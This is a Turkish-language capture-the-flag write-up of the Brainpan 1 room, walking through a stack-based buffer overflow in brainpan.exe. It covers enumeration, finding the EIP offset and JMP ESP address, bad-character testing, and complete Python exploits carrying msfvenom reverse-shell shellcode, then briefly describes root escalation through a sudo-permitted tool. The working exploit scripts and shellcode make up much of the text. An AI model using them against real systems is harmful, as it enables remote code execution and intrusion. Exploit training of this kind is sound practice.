Brainpan 1 odası Stack Based Buffer Overflow zafiyetine sahip bir uygulamanın exploit edilmesini konu alıyor. Exploit geliştirme konusunda pratiğe ihtiyacı olanlar için güzel bir oda. İlk olarak nmap taramasıyla başlayalım.
Exploit geliştirme konusunda bilginiz yoksa sizi şuraya alalım.
Nmap çıktısında görüldüğü üzere 9999.port ve 10000.port (http) açık. Web tarafına baktığımda beni güvenli kod geliştirmeyle ilgili sayfa karşılıyor.
Daha fazlası olabileceğini düşünüp dirb ile dizin taraması yapıyorum ve / bin dizinini keşfediyorum.
Bu dizinde brainpan.exe isimli bir programımız var. Daha sonra incelemek için indiriyorum.
Açık olan diğer port’a netcat ile bağlandığımda karşıma parola isteyen bir uygulama çıkıyor. Yanlış parola girince “ACCESS DENIED” hatası alıyorum. Şimdilik burayı es geçip indirdiğimiz brainpan.exe’yi inceleyelim bakalım.
Windows tarafında İmmunity Debugger ile incelemeye aldığım brainpan.exe’yi çalıştırıyorum.
9999. portu açtığı bilgisini görüp netcat ile bağlanıyorum. Netcat ile bağlandığımda zafiyet olup olmadığını basitce test etmek için bolca ‘A’ karakteri giriyorum.
Girdiğim bolca ‘A’ (\x41) karakterleri sonrası Stack Based Buffer Overflow zafiyeti olduğunu tespit ediyorum.
Şimdi kaç karakterden sonra EIP (return address) değişiyor bakalım. Bunun için pattern_create aracını kullanacağım.
Pattern_create aracı ile 600 karakterlik bir karakter patterni oluşturduk. Bunu programa gönderdikten sonra taşma gerçekleşecek ve EIP adresi değişecek.
EIP adresi 35724134 olarak değişti. Bu adresi pattern_offset aracına verip kaç byte’dan sonra return addres’in üzerine yazabileceğimizi tespit edeceğiz.
[*] Exact match at offset 524
524 Byte sonra gelecek 4 byte return address (eip) üzerine yazılacak. Bakalım gerçekten de öylemi ? Bunu test etmek için basit bir python scripti yazıyorum. Bu script Brainpan.exe’yi çalıştırdığım makineye 9999.porttan bağlanıp önce 524 adet ‘A’ (\x41) karakteri sonrasında 4 adet ‘B’ (\x42) karakteri yollayacak.
import socket
ip = "192.168.1.30"
port = 9999
ex = ((ip,port))
buffer = "A" * 524
eip = "B" * 4
boom = buffer + eip
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(ex)
s.send(bytes(boom,"utf-8"))
s.close()
EIP adresini değiştirmeyi başardık. Fakat bu adres bi işimize yaramaz. Bizim amacımız eip’ye JMP ESP ya da CALL ESP gibi stack alanına sıçrayabileceğimiz kodların adresleri lazım. Bu sayede Stack alanına yazacağımız shellcode’un çalışmasını sağlayabiliriz. Bunun için immunity debugger’da View sekmesinden executable modules seçilir.
Burada brainpan.exe’yi seçiyorum. Aslında kernel32.dll içinde de JMP ESP var. Eğer windows işletim sisteminde çalışan bir uygulamaysa işe yarar fakat linux da çalışan bir uygulamaysa işe yaramaz. Biz bu aşamada brainpan.exe’nin uzantısından ötürü windows tarafında çalıştığını farz etsek de en sağlıklısı exe’nin kendi içinde JMP ESP aramak olur. Kim bilir belki de linux da çalışan bir uygulamadır. Brainpan.exe’yi seçtikden sonra CTRL+F ile gelen kutucuğa “jmp esp” yazıyorum. Bu sayede adresini bulmuş olduk.
Shellcode geliştirmeye geçmeden önce istenmeyen bir karakter olup olmadığını test edelim. Bu badchars dediğimiz karakterler shellcode’un çalışmasına mani olabilir. Python scriptimizi güncelleyelim.
import socket
ip = "192.168.1.30"
port = 9999
ex = ((ip,port))
buffer = "A" * 524
eip = "B" * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
boom = buffer + eip + badchars
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(ex)
s.send(bytes(boom,"utf-8"))
s.close()
Kötü karakterler ugulamadan uygulamaya farklılık gösterirler. Bu uygulamada kötü karakter tespit edemedim ama her uygulama için ortak bir kötü karakterimiz var. “\x00” null karakteri. Bu faslı da geçtiğimize göre shellocode’u geliştirmeye başlayabiliriz. Bunun için msfvenom kullanıyorum.
Python scriptimize ekleyelim. Bu arada EIP için bulduğumuz bellek adresini little endian notasyonuna göre yazacağız. Exploitimizin son hali şu şekilde.
import socket
ip = "10.10.44.187"
port = 9999
ex = ((ip,port))
buffer = "A" * 524
shellcode = ("\xbf\xb8\x59\xfa\x66\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x7a\x12\x83\xea\xfc\x03\xc2\x57\x18\x93\xce\x80\x5e"
"\x5c\x2e\x51\x3f\xd4\xcb\x60\x7f\x82\x98\xd3\x4f\xc0\xcc\xdf"
"\x24\x84\xe4\x54\x48\x01\x0b\xdc\xe7\x77\x22\xdd\x54\x4b\x25"
"\x5d\xa7\x98\x85\x5c\x68\xed\xc4\x99\x95\x1c\x94\x72\xd1\xb3"
"\x08\xf6\xaf\x0f\xa3\x44\x21\x08\x50\x1c\x40\x39\xc7\x16\x1b"
"\x99\xe6\xfb\x17\x90\xf0\x18\x1d\x6a\x8b\xeb\xe9\x6d\x5d\x22"
"\x11\xc1\xa0\x8a\xe0\x1b\xe5\x2d\x1b\x6e\x1f\x4e\xa6\x69\xe4"
"\x2c\x7c\xff\xfe\x97\xf7\xa7\xda\x26\xdb\x3e\xa9\x25\x90\x35"
"\xf5\x29\x27\x99\x8e\x56\xac\x1c\x40\xdf\xf6\x3a\x44\xbb\xad"
"\x23\xdd\x61\x03\x5b\x3d\xca\xfc\xf9\x36\xe7\xe9\x73\x15\x60"
"\xdd\xb9\xa5\x70\x49\xc9\xd6\x42\xd6\x61\x70\xef\x9f\xaf\x87"
"\x10\x8a\x08\x17\xef\x35\x69\x3e\x34\x61\x39\x28\x9d\x0a\xd2"
"\xa8\x22\xdf\x75\xf8\x8c\xb0\x35\xa8\x6c\x61\xde\xa2\x62\x5e"
"\xfe\xcd\xa8\xf7\x95\x34\x3b\xf2\x60\x34\xde\x6a\x71\x38\x31"
"\x37\xfc\xde\x5b\xd7\xa8\x49\xf4\x4e\xf1\x01\x65\x8e\x2f\x6c"
"\xa5\x04\xdc\x91\x68\xed\xa9\x81\x1d\x1d\xe4\xfb\x88\x22\xd2"
"\x93\x57\xb0\xb9\x63\x11\xa9\x15\x34\x76\x1f\x6c\xd0\x6a\x06"
"\xc6\xc6\x76\xde\x21\x42\xad\x23\xaf\x4b\x20\x1f\x8b\x5b\xfc"
"\xa0\x97\x0f\x50\xf7\x41\xf9\x16\xa1\x23\x53\xc1\x1e\xea\x33"
"\x94\x6c\x2d\x45\x99\xb8\xdb\xa9\x28\x15\x9a\xd6\x85\xf1\x2a"
"\xaf\xfb\x61\xd4\x7a\xb8\x92\x9f\x26\xe9\x3a\x46\xb3\xab\x26"
"\x79\x6e\xef\x5e\xfa\x9a\x90\xa4\xe2\xef\x95\xe1\xa4\x1c\xe4"
"\x7a\x41\x22\x5b\x7a\x40")
eip = "\xf3\x12\x17\x31" #311712f3 #little endian
nop = "\x90" * 16
boom = buffer + eip + nop + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(ex)
s.send(bytes(boom,"latin-1"))
s.close()
Her ne kadar reverse shell almış olsak da makinenin windows olmadığı ortada. Tekrardan nmap taraması yaptığımda linux olduğunu görüyorum dolayısıyla shellcode’umu değiştirip tekrar deniyorum.
Explotimizi güncelleyip test edelim.
import socket
ip = "10.10.44.187"
port = 9999
ex = ((ip,port))
buffer = "A" * 524
shellcode = ("\xdd\xc0\xd9\x74\x24\xf4\x5e\xbf\x4a\xc2\x7b\x81\x33\xc9\xb1"
"\x12\x31\x7e\x17\x83\xc6\x04\x03\x34\xd1\x99\x74\xf9\x0e\xaa"
"\x94\xaa\xf3\x06\x31\x4e\x7d\x49\x75\x28\xb0\x0a\xe5\xed\xfa"
"\x34\xc7\x8d\xb2\x33\x2e\xe5\x4e\xcd\xd2\x90\x26\xcf\xd2\x4b"
"\xeb\x46\x33\xdb\x75\x09\xe5\x48\xc9\xaa\x8c\x8f\xe0\x2d\xdc"
"\x27\x95\x02\x92\xdf\x01\x72\x7b\x7d\xbb\x05\x60\xd3\x68\x9f"
"\x86\x63\x85\x52\xc8")
eip = "\xf3\x12\x17\x31" #311712f3
nop = "\x90" * 16
boom = buffer + eip + nop + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(ex)
s.send(bytes(boom,"latin-1"))
s.close()
Privileges Escalation Aşaması
sudo -l ile neler yapabileceğime baktığımda “anansi_util” isimli bir tool’u parola olmaksızın root yetkileriyle çalıştırabileceğimi görüyorum.
Diğer program argümanlarından bir cacık olmadığı için manual’i açıp rahatlıkla root olup makinenin çözümünü burda bitiriyorum.